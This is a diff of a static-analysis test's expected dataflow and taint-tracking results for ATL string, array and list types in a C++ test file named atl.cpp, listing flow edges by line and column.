-| atl.cpp:1169:3:1169:5 | ref arg s18 | atl.cpp:1170:8:1170:10 | s18 |  |
-| atl.cpp:1169:3:1169:5 | ref arg s18 | atl.cpp:1212:1:1212:1 | s18 |  |
-| atl.cpp:1174:18:1174:20 | call to CStringT | atl.cpp:1175:3:1175:5 | s20 |  |
-| atl.cpp:1174:18:1174:20 | call to CStringT | atl.cpp:1176:8:1176:10 | s20 |  |
-| atl.cpp:1174:18:1174:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s20 |  |
-| atl.cpp:1175:3:1175:5 | ref arg s20 | atl.cpp:1176:8:1176:10 | s20 |  |
-| atl.cpp:1175:3:1175:5 | ref arg s20 | atl.cpp:1212:1:1212:1 | s20 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1179:8:1179:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1180:8:1180:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1181:8:1181:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1194:3:1194:4 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1197:8:1197:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1198:8:1198:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1201:8:1201:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1203:8:1203:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1204:8:1204:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1205:8:1205:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1178:8:1178:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1180:8:1180:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1181:8:1181:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1194:3:1194:4 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1197:8:1197:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1198:8:1198:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1201:8:1201:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1203:8:1203:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1204:8:1204:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1205:8:1205:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1179:8:1179:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1181:8:1181:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1194:3:1194:4 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1197:8:1197:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1198:8:1198:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1201:8:1201:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1203:8:1203:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1204:8:1204:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1205:8:1205:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1180:8:1180:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1183:18:1183:20 | call to CStringT | atl.cpp:1184:3:1184:5 | s21 |  |
-| atl.cpp:1183:18:1183:20 | call to CStringT | atl.cpp:1185:8:1185:10 | s21 |  |
-| atl.cpp:1183:18:1183:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s21 |  |
-| atl.cpp:1184:3:1184:5 | ref arg s21 | atl.cpp:1185:8:1185:10 | s21 |  |
-| atl.cpp:1184:3:1184:5 | ref arg s21 | atl.cpp:1212:1:1212:1 | s21 |  |
-| atl.cpp:1187:18:1187:20 | call to CStringT | atl.cpp:1188:3:1188:5 | s22 |  |
-| atl.cpp:1187:18:1187:20 | call to CStringT | atl.cpp:1189:8:1189:10 | s22 |  |
-| atl.cpp:1187:18:1187:20 | call to CStringT | atl.cpp:1212:1:1212:1 | s22 |  |
-| atl.cpp:1188:3:1188:5 | ref arg s22 | atl.cpp:1189:8:1189:10 | s22 |  |
-| atl.cpp:1188:3:1188:5 | ref arg s22 | atl.cpp:1212:1:1212:1 | s22 |  |
-| atl.cpp:1193:8:1193:12 | bstr2 | atl.cpp:1194:20:1194:24 | bstr2 |  |
-| atl.cpp:1193:8:1193:12 | bstr2 | atl.cpp:1195:8:1195:12 | bstr2 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1197:8:1197:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1198:8:1198:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1201:8:1201:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1203:8:1203:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1204:8:1204:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1205:8:1205:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1194:3:1194:4 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1194:19:1194:24 | ref arg & ... | atl.cpp:1194:20:1194:24 | bstr2 [inner post update] |  |
-| atl.cpp:1194:19:1194:24 | ref arg & ... | atl.cpp:1195:8:1195:12 | bstr2 |  |
-| atl.cpp:1194:20:1194:24 | bstr2 | atl.cpp:1194:19:1194:24 | & ... |  |
-| atl.cpp:1200:14:1200:15 | 0 | atl.cpp:1201:27:1201:31 | start |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1204:8:1204:9 | s1 |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1205:8:1205:9 | s1 |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1203:8:1203:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1204:8:1204:9 | ref arg s1 | atl.cpp:1205:8:1205:9 | s1 |  |
-| atl.cpp:1204:8:1204:9 | ref arg s1 | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1204:8:1204:9 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1204:8:1204:9 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1204:8:1204:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1204:8:1204:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1204:8:1204:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1204:8:1204:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1205:8:1205:9 | ref arg s1 | atl.cpp:1206:8:1206:9 | s1 |  |
-| atl.cpp:1205:8:1205:9 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1205:8:1205:9 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1205:8:1205:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1205:8:1205:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1205:8:1205:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1205:8:1205:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1206:8:1206:9 | ref arg s1 | atl.cpp:1207:8:1207:9 | s1 |  |
-| atl.cpp:1206:8:1206:9 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1206:8:1206:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1206:8:1206:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1206:8:1206:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1206:8:1206:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1207:8:1207:9 | ref arg s1 | atl.cpp:1208:8:1208:9 | s1 |  |
-| atl.cpp:1207:8:1207:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1207:8:1207:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1207:8:1207:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1207:8:1207:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1208:8:1208:9 | ref arg s1 | atl.cpp:1209:8:1209:9 | s1 |  |
-| atl.cpp:1208:8:1208:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1208:8:1208:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1208:8:1208:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1209:8:1209:9 | ref arg s1 | atl.cpp:1210:8:1210:9 | s1 |  |
-| atl.cpp:1209:8:1209:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1209:8:1209:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1210:8:1210:9 | ref arg s1 | atl.cpp:1211:8:1211:9 | s1 |  |
-| atl.cpp:1210:8:1210:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1211:8:1211:9 | ref arg s1 | atl.cpp:1212:1:1212:1 | s1 |  |
-| atl.cpp:1219:19:1219:37 | call to source | atl.cpp:1220:8:1220:8 | d |  |
-| atl.cpp:1238:22:1238:43 | call to source | atl.cpp:1239:20:1239:20 | s |  |
-| atl.cpp:1238:22:1238:43 | call to source | atl.cpp:1242:1:1242:1 | s |  |
-| atl.cpp:1239:20:1239:20 | ref arg s | atl.cpp:1242:1:1242:1 | s |  |
-| atl.cpp:1239:20:1239:28 | call to CStrBufT | atl.cpp:1240:44:1240:44 | b |  |
-| atl.cpp:1239:20:1239:28 | call to CStrBufT | atl.cpp:1241:43:1241:43 | b |  |
-| atl.cpp:1240:44:1240:44 | ref arg b | atl.cpp:1241:43:1241:43 | b |  |
+| atl.cpp:41:31:41:31 | 1 | atl.cpp:41:30:41:31 | - ... | TAINT |
+| atl.cpp:79:16:79:27 | call to source | atl.cpp:80:23:80:23 | x |  |
+| atl.cpp:80:23:80:23 | x | atl.cpp:80:23:80:24 | call to _U_STRINGorID | TAINT |
+| atl.cpp:80:23:80:24 | call to _U_STRINGorID | atl.cpp:81:12:81:12 | u |  |
+| atl.cpp:85:19:85:45 | call to indirect_source | atl.cpp:86:23:86:23 | y |  |
+| atl.cpp:86:23:86:23 | y | atl.cpp:86:23:86:24 | call to _U_STRINGorID | TAINT |
+| atl.cpp:86:23:86:24 | call to _U_STRINGorID | atl.cpp:87:12:87:12 | u |  |
+| atl.cpp:106:17:106:37 | call to indirect_source | atl.cpp:107:21:107:21 | x |  |
+| atl.cpp:107:21:107:21 | x | atl.cpp:107:21:107:22 | call to CA2AEX | TAINT |
+| atl.cpp:107:21:107:22 | call to CA2AEX | atl.cpp:108:31:108:31 | a |  |
+| atl.cpp:107:21:107:22 | call to CA2AEX | atl.cpp:109:12:109:12 | a |  |
+| atl.cpp:107:21:107:22 | call to CA2AEX | atl.cpp:110:12:110:12 | a |  |
+| atl.cpp:107:21:107:22 | call to CA2AEX | atl.cpp:111:5:111:5 | a |  |
+| atl.cpp:108:31:108:31 | ref arg a | atl.cpp:109:12:109:12 | a |  |
+| atl.cpp:108:31:108:31 | ref arg a | atl.cpp:110:12:110:12 | a |  |
+| atl.cpp:108:31:108:31 | ref arg a | atl.cpp:111:5:111:5 | a |  |
+| atl.cpp:109:12:109:12 | a [post update] | atl.cpp:110:12:110:12 | a |  |
+| atl.cpp:109:12:109:12 | a [post update] | atl.cpp:111:5:111:5 | a |  |
+| atl.cpp:110:12:110:12 | a [post update] | atl.cpp:111:5:111:5 | a |  |
+| atl.cpp:114:17:114:37 | call to indirect_source | atl.cpp:115:21:115:21 | x |  |
+| atl.cpp:115:21:115:25 | call to CA2AEX | atl.cpp:116:31:116:31 | a |  |
+| atl.cpp:115:21:115:25 | call to CA2AEX | atl.cpp:117:12:117:12 | a |  |
+| atl.cpp:115:21:115:25 | call to CA2AEX | atl.cpp:118:12:118:12 | a |  |
+| atl.cpp:115:21:115:25 | call to CA2AEX | atl.cpp:119:5:119:5 | a |  |
+| atl.cpp:116:31:116:31 | ref arg a | atl.cpp:117:12:117:12 | a |  |
+| atl.cpp:116:31:116:31 | ref arg a | atl.cpp:118:12:118:12 | a |  |
+| atl.cpp:116:31:116:31 | ref arg a | atl.cpp:119:5:119:5 | a |  |
+| atl.cpp:117:12:117:12 | a [post update] | atl.cpp:118:12:118:12 | a |  |
+| atl.cpp:117:12:117:12 | a [post update] | atl.cpp:119:5:119:5 | a |  |
+| atl.cpp:118:12:118:12 | a [post update] | atl.cpp:119:5:119:5 | a |  |
+| atl.cpp:132:16:132:36 | call to indirect_source | atl.cpp:134:22:134:22 | x |  |
+| atl.cpp:132:16:132:36 | call to indirect_source | atl.cpp:140:22:140:22 | x |  |
+| atl.cpp:134:22:134:22 | x | atl.cpp:134:22:134:23 | call to CA2CAEX | TAINT |
+| atl.cpp:134:22:134:23 | call to CA2CAEX | atl.cpp:135:32:135:32 | a |  |
+| atl.cpp:134:22:134:23 | call to CA2CAEX | atl.cpp:136:12:136:12 | a |  |
+| atl.cpp:134:22:134:23 | call to CA2CAEX | atl.cpp:137:12:137:12 | a |  |
+| atl.cpp:134:22:134:23 | call to CA2CAEX | atl.cpp:138:5:138:5 | a |  |
+| atl.cpp:140:22:140:26 | call to CA2CAEX | atl.cpp:141:32:141:32 | a |  |
+| atl.cpp:140:22:140:26 | call to CA2CAEX | atl.cpp:142:12:142:12 | a |  |
+| atl.cpp:140:22:140:26 | call to CA2CAEX | atl.cpp:143:12:143:12 | a |  |
+| atl.cpp:140:22:140:26 | call to CA2CAEX | atl.cpp:144:5:144:5 | a |  |
+| atl.cpp:158:16:158:36 | call to indirect_source | atl.cpp:160:21:160:21 | x |  |
+| atl.cpp:158:16:158:36 | call to indirect_source | atl.cpp:166:21:166:21 | x |  |
+| atl.cpp:160:21:160:21 | x | atl.cpp:160:21:160:22 | call to CA2WEX | TAINT |
+| atl.cpp:160:21:160:22 | call to CA2WEX | atl.cpp:161:32:161:32 | a |  |
+| atl.cpp:160:21:160:22 | call to CA2WEX | atl.cpp:162:12:162:12 | a |  |
+| atl.cpp:160:21:160:22 | call to CA2WEX | atl.cpp:163:12:163:12 | a |  |
+| atl.cpp:160:21:160:22 | call to CA2WEX | atl.cpp:164:5:164:5 | a |  |
+| atl.cpp:161:32:161:32 | ref arg a | atl.cpp:162:12:162:12 | a |  |
+| atl.cpp:161:32:161:32 | ref arg a | atl.cpp:163:12:163:12 | a |  |
+| atl.cpp:161:32:161:32 | ref arg a | atl.cpp:164:5:164:5 | a |  |
+| atl.cpp:162:12:162:12 | a [post update] | atl.cpp:163:12:163:12 | a |  |
+| atl.cpp:162:12:162:12 | a [post update] | atl.cpp:164:5:164:5 | a |  |
+| atl.cpp:162:14:162:18 | ref arg m_psz | atl.cpp:163:14:163:18 | m_psz |  |
+| atl.cpp:163:12:163:12 | a [post update] | atl.cpp:164:5:164:5 | a |  |
+| atl.cpp:166:21:166:25 | call to CA2WEX | atl.cpp:167:32:167:32 | a |  |
+| atl.cpp:166:21:166:25 | call to CA2WEX | atl.cpp:168:12:168:12 | a |  |
+| atl.cpp:166:21:166:25 | call to CA2WEX | atl.cpp:169:12:169:12 | a |  |
+| atl.cpp:166:21:166:25 | call to CA2WEX | atl.cpp:170:5:170:5 | a |  |
+| atl.cpp:167:32:167:32 | ref arg a | atl.cpp:168:12:168:12 | a |  |
+| atl.cpp:167:32:167:32 | ref arg a | atl.cpp:169:12:169:12 | a |  |
+| atl.cpp:167:32:167:32 | ref arg a | atl.cpp:170:5:170:5 | a |  |
+| atl.cpp:168:12:168:12 | a [post update] | atl.cpp:169:12:169:12 | a |  |
+| atl.cpp:168:12:168:12 | a [post update] | atl.cpp:170:5:170:5 | a |  |
+| atl.cpp:168:14:168:18 | ref arg m_psz | atl.cpp:169:14:169:18 | m_psz |  |
+| atl.cpp:169:12:169:12 | a [post update] | atl.cpp:170:5:170:5 | a |  |
+| atl.cpp:218:13:218:23 | call to source | atl.cpp:222:13:222:13 | x |  |
+| atl.cpp:221:22:221:22 | call to CAtlArray | atl.cpp:222:7:222:7 | a |  |
+| atl.cpp:221:22:221:22 | call to CAtlArray | atl.cpp:223:12:223:12 | a |  |
+| atl.cpp:221:22:221:22 | call to CAtlArray | atl.cpp:224:7:224:7 | a |  |
+| atl.cpp:221:22:221:22 | call to CAtlArray | atl.cpp:225:12:225:12 | a |  |
+| atl.cpp:221:22:221:22 | call to CAtlArray | atl.cpp:229:17:229:17 | a |  |
+| atl.cpp:221:22:221:22 | call to CAtlArray | atl.cpp:244:5:244:5 | a |  |
+| atl.cpp:222:7:222:7 | ref arg a | atl.cpp:223:12:223:12 | a |  |
+| atl.cpp:222:7:222:7 | ref arg a | atl.cpp:224:7:224:7 | a |  |
+| atl.cpp:222:7:222:7 | ref arg a | atl.cpp:225:12:225:12 | a |  |
+| atl.cpp:222:7:222:7 | ref arg a | atl.cpp:229:17:229:17 | a |  |
+| atl.cpp:222:7:222:7 | ref arg a | atl.cpp:244:5:244:5 | a |  |
+| atl.cpp:223:12:223:12 | ref arg a | atl.cpp:224:7:224:7 | a |  |
+| atl.cpp:223:12:223:12 | ref arg a | atl.cpp:225:12:225:12 | a |  |
+| atl.cpp:223:12:223:12 | ref arg a | atl.cpp:229:17:229:17 | a |  |
+| atl.cpp:223:12:223:12 | ref arg a | atl.cpp:244:5:244:5 | a |  |
+| atl.cpp:224:7:224:7 | ref arg a | atl.cpp:225:12:225:12 | a |  |
+| atl.cpp:224:7:224:7 | ref arg a | atl.cpp:229:17:229:17 | a |  |
+| atl.cpp:224:7:224:7 | ref arg a | atl.cpp:244:5:244:5 | a |  |
+| atl.cpp:225:12:225:12 | ref arg a | atl.cpp:229:17:229:17 | a |  |
+| atl.cpp:225:12:225:12 | ref arg a | atl.cpp:244:5:244:5 | a |  |
+| atl.cpp:227:22:227:23 | call to CAtlArray | atl.cpp:228:12:228:13 | a2 |  |
+| atl.cpp:227:22:227:23 | call to CAtlArray | atl.cpp:229:7:229:8 | a2 |  |
+| atl.cpp:227:22:227:23 | call to CAtlArray | atl.cpp:230:12:230:13 | a2 |  |
+| atl.cpp:227:22:227:23 | call to CAtlArray | atl.cpp:234:15:234:16 | a2 |  |
+| atl.cpp:227:22:227:23 | call to CAtlArray | atl.cpp:244:5:244:5 | a2 |  |
+| atl.cpp:228:12:228:13 | ref arg a2 | atl.cpp:229:7:229:8 | a2 |  |
+| atl.cpp:228:12:228:13 | ref arg a2 | atl.cpp:230:12:230:13 | a2 |  |
+| atl.cpp:228:12:228:13 | ref arg a2 | atl.cpp:234:15:234:16 | a2 |  |
+| atl.cpp:228:12:228:13 | ref arg a2 | atl.cpp:244:5:244:5 | a2 |  |
+| atl.cpp:229:7:229:8 | ref arg a2 | atl.cpp:230:12:230:13 | a2 |  |
+| atl.cpp:229:7:229:8 | ref arg a2 | atl.cpp:234:15:234:16 | a2 |  |
+| atl.cpp:229:7:229:8 | ref arg a2 | atl.cpp:244:5:244:5 | a2 |  |
+| atl.cpp:230:12:230:13 | ref arg a2 | atl.cpp:234:15:234:16 | a2 |  |
+| atl.cpp:230:12:230:13 | ref arg a2 | atl.cpp:244:5:244:5 | a2 |  |
+| atl.cpp:232:22:232:23 | call to CAtlArray | atl.cpp:233:12:233:13 | a3 |  |
+| atl.cpp:232:22:232:23 | call to CAtlArray | atl.cpp:234:7:234:8 | a3 |  |
+| atl.cpp:232:22:232:23 | call to CAtlArray | atl.cpp:235:12:235:13 | a3 |  |
+| atl.cpp:232:22:232:23 | call to CAtlArray | atl.cpp:237:12:237:13 | a3 |  |
+| atl.cpp:232:22:232:23 | call to CAtlArray | atl.cpp:238:13:238:14 | a3 |  |
+| atl.cpp:232:22:232:23 | call to CAtlArray | atl.cpp:242:28:242:29 | a3 |  |
+| atl.cpp:232:22:232:23 | call to CAtlArray | atl.cpp:244:5:244:5 | a3 |  |
+| atl.cpp:233:12:233:13 | ref arg a3 | atl.cpp:234:7:234:8 | a3 |  |
+| atl.cpp:233:12:233:13 | ref arg a3 | atl.cpp:235:12:235:13 | a3 |  |
+| atl.cpp:233:12:233:13 | ref arg a3 | atl.cpp:237:12:237:13 | a3 |  |
+| atl.cpp:233:12:233:13 | ref arg a3 | atl.cpp:238:13:238:14 | a3 |  |
+| atl.cpp:233:12:233:13 | ref arg a3 | atl.cpp:242:28:242:29 | a3 |  |
+| atl.cpp:233:12:233:13 | ref arg a3 | atl.cpp:244:5:244:5 | a3 |  |
+| atl.cpp:234:7:234:8 | ref arg a3 | atl.cpp:235:12:235:13 | a3 |  |
+| atl.cpp:234:7:234:8 | ref arg a3 | atl.cpp:237:12:237:13 | a3 |  |
+| atl.cpp:234:7:234:8 | ref arg a3 | atl.cpp:238:13:238:14 | a3 |  |
+| atl.cpp:234:7:234:8 | ref arg a3 | atl.cpp:242:28:242:29 | a3 |  |
+| atl.cpp:234:7:234:8 | ref arg a3 | atl.cpp:244:5:244:5 | a3 |  |
+| atl.cpp:235:12:235:13 | ref arg a3 | atl.cpp:237:12:237:13 | a3 |  |
+| atl.cpp:235:12:235:13 | ref arg a3 | atl.cpp:238:13:238:14 | a3 |  |
+| atl.cpp:235:12:235:13 | ref arg a3 | atl.cpp:242:28:242:29 | a3 |  |
+| atl.cpp:235:12:235:13 | ref arg a3 | atl.cpp:244:5:244:5 | a3 |  |
+| atl.cpp:237:12:237:13 | ref arg a3 | atl.cpp:238:13:238:14 | a3 |  |
+| atl.cpp:237:12:237:13 | ref arg a3 | atl.cpp:242:28:242:29 | a3 |  |
+| atl.cpp:237:12:237:13 | ref arg a3 | atl.cpp:244:5:244:5 | a3 |  |
+| atl.cpp:238:13:238:14 | ref arg a3 | atl.cpp:242:28:242:29 | a3 |  |
+| atl.cpp:238:13:238:14 | ref arg a3 | atl.cpp:244:5:244:5 | a3 |  |
+| atl.cpp:238:16:238:22 | call to GetData | atl.cpp:238:12:238:24 | * ... | TAINT |
+| atl.cpp:240:22:240:23 | call to CAtlArray | atl.cpp:241:12:241:13 | a4 |  |
+| atl.cpp:240:22:240:23 | call to CAtlArray | atl.cpp:242:7:242:8 | a4 |  |
+| atl.cpp:240:22:240:23 | call to CAtlArray | atl.cpp:243:12:243:13 | a4 |  |
+| atl.cpp:240:22:240:23 | call to CAtlArray | atl.cpp:244:5:244:5 | a4 |  |
+| atl.cpp:241:12:241:13 | ref arg a4 | atl.cpp:242:7:242:8 | a4 |  |
+| atl.cpp:241:12:241:13 | ref arg a4 | atl.cpp:243:12:243:13 | a4 |  |
+| atl.cpp:241:12:241:13 | ref arg a4 | atl.cpp:244:5:244:5 | a4 |  |
+| atl.cpp:242:7:242:8 | ref arg a4 | atl.cpp:243:12:243:13 | a4 |  |
+| atl.cpp:242:7:242:8 | ref arg a4 | atl.cpp:244:5:244:5 | a4 |  |
+| atl.cpp:242:28:242:29 | a3 | atl.cpp:242:27:242:29 | & ... |  |
+| atl.cpp:243:12:243:13 | ref arg a4 | atl.cpp:244:5:244:5 | a4 |  |
+| atl.cpp:246:22:246:23 | call to CAtlArray | atl.cpp:247:7:247:8 | a5 |  |
+| atl.cpp:246:22:246:23 | call to CAtlArray | atl.cpp:248:12:248:13 | a5 |  |
+| atl.cpp:246:22:246:23 | call to CAtlArray | atl.cpp:253:5:253:5 | a5 |  |
+| atl.cpp:247:7:247:8 | ref arg a5 | atl.cpp:248:12:248:13 | a5 |  |
+| atl.cpp:247:7:247:8 | ref arg a5 | atl.cpp:253:5:253:5 | a5 |  |
+| atl.cpp:248:12:248:13 | ref arg a5 | atl.cpp:253:5:253:5 | a5 |  |
+| atl.cpp:250:22:250:23 | call to CAtlArray | atl.cpp:251:7:251:8 | a6 |  |
+| atl.cpp:250:22:250:23 | call to CAtlArray | atl.cpp:252:12:252:13 | a6 |  |
+| atl.cpp:250:22:250:23 | call to CAtlArray | atl.cpp:253:5:253:5 | a6 |  |
+| atl.cpp:251:7:251:8 | ref arg a6 | atl.cpp:252:12:252:13 | a6 |  |
+| atl.cpp:251:7:251:8 | ref arg a6 | atl.cpp:253:5:253:5 | a6 |  |
+| atl.cpp:252:12:252:13 | ref arg a6 | atl.cpp:253:5:253:5 | a6 |  |
+| atl.cpp:298:13:298:23 | call to source | atl.cpp:302:20:302:20 | x |  |
+| atl.cpp:298:13:298:23 | call to source | atl.cpp:310:21:310:21 | x |  |
+| atl.cpp:298:13:298:23 | call to source | atl.cpp:319:31:319:31 | x |  |
+| atl.cpp:298:13:298:23 | call to source | atl.cpp:325:23:325:23 | x |  |
+| atl.cpp:298:13:298:23 | call to source | atl.cpp:333:32:333:32 | x |  |
+| atl.cpp:298:13:298:23 | call to source | atl.cpp:340:33:340:33 | x |  |
+| atl.cpp:298:13:298:23 | call to source | atl.cpp:345:46:345:46 | x |  |
+| atl.cpp:300:26:300:27 | 10 | atl.cpp:300:26:300:28 | call to CAtlList | TAINT |
+| atl.cpp:300:26:300:28 | call to CAtlList | atl.cpp:301:12:301:15 | list |  |
+| atl.cpp:300:26:300:28 | call to CAtlList | atl.cpp:302:7:302:10 | list |  |
+| atl.cpp:300:26:300:28 | call to CAtlList | atl.cpp:303:12:303:15 | list |  |
